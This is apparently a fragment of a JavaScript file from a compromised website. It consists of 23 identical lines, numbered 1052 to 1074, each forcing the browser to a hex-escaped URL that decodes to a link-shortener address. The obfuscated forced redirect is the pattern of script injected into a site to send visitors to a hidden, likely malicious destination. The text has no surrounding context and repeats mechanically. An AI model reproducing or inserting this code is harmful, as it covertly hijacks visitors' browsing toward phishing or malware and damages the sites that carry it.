1052window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1053window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1054window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1055window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1056window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1057window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1058window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1059window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1060window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1061window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1062window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1063window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1064window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1065window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1066window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1067window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1068window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1069window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1070window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1071window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1072window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1073window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1074window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";